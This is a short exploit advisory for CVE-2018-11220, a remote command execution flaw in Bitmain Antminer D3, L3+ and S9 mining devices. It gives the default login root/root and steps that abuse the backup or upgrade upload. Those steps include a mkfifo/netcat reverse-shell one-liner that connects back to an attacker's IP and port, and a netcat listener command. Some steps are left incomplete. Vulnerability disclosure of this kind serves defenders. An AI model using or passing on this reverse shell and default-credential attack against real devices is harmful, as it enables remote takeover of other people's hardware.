Bitmain Antminer D3/L3+/S9 Remote Command Execution

Bitmain Antminer D3/L3+/S9 suffers from a remote command execution vulnerability.

MD5 | 013b4a85752aa1309ca5c756a74891b0

# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage:
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220


The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative


Login on Antminer Configuration Portal (Default Credential: root/root)

1) Create a file named:

2) insert inside:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port

3) Generate archive by inserting the file created before:


4) Launch net cat and upload file:

nc -vv -l -p port

system --> upgrade --> upload archive

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